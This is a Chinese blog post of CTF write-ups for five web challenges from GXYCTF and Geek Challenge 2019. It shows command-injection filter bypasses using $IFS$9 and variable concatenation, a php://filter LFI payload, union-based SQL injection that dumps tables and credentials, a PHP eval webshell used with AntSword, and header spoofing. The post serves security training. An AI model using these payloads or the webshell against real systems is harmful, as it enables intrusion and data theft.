每天一道ctf

一.[GXYCTF2019]Ping Ping Ping

题目类型:命令执行+代码审计

提示/?ip=

输入/?ip=127.0.0.1,回显成功

显示当前的所有文件:/?ip=127.0.0.1|ls 

 这里查到了两个php文件
查看flag.php:?ip=127.0.0.1|cat flag.php

这里提示/?ip= fxck your space!space是空格,应该是空格被过滤了 

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

试试第一个方法:/?ip=127.0.0.1|{cat,flag.php}

 发现符号又被过滤了,说明{}大括号被过滤了,那第二个不能用了
试试第三个方法/?ip=127.0.0.1|cat$IFS$9flag.php

 flag也被过滤了!

不是查出来两个文件嘛,看看另一个吧
查看index.php文件:/?ip=127.0.0.1|cat$IFS$9index.php

 发现这个PHP代码好像不太全,我们查看一下源码,出来了,下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ,-c 4 表示ping的指定次数为4
  echo "<pre>";
  print_r($a);
}

?>

代码审计一下,好多都被过滤了;但最后有个变量a,

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag

 啥也没有,查看源码

flag{63736cde-b478-4a7f-a4c1-18b72738906c}

二.[极客大挑战 2019]Secret File

查看源码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下

 点击secret

 提示查阅结束,返回上个目录,查看一下源码

此时也没有什么发现,抓个包试了试

这里提示secr3t.php,进入这个目录看一下 

 

这里提示flag放在了flag.php里,进入falg.php目录 

还是没有出现flag,找到了但是看不到,此时又想到了PHP的封装协议,用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
 

得到flag

 flag{3c7875e8-87d9-43ca-837a-bed2bbb98850}

三.[极客大挑战 2019]LoveSQL 

先随便输入一个万能密码

找到回显位置

试试联合查询,一直到3的时候回显正常 

 2和3有回显位置

输入用户名为1
爆数据库password=:1' union select 1,2,database()#

得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password

爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

 查看源码

四.[极客大挑战 2019]Knife 

很明显的提示,用中国菜刀或者蚁剑,这里我使用蚁剑

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为:白给的shell/index.php
密码为:Syc

用蚁剑查看目录

查看根目录,找到flag

五. [极客大挑战 2019]Http

查看源代码,发现有一个Secret.php 

进入这个访问该目录

提示:It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可 

提示Please use “Syclover” browser:请使用“Syclover”浏览器
添加User-Agent:Syclover

 

提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1

拿到flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值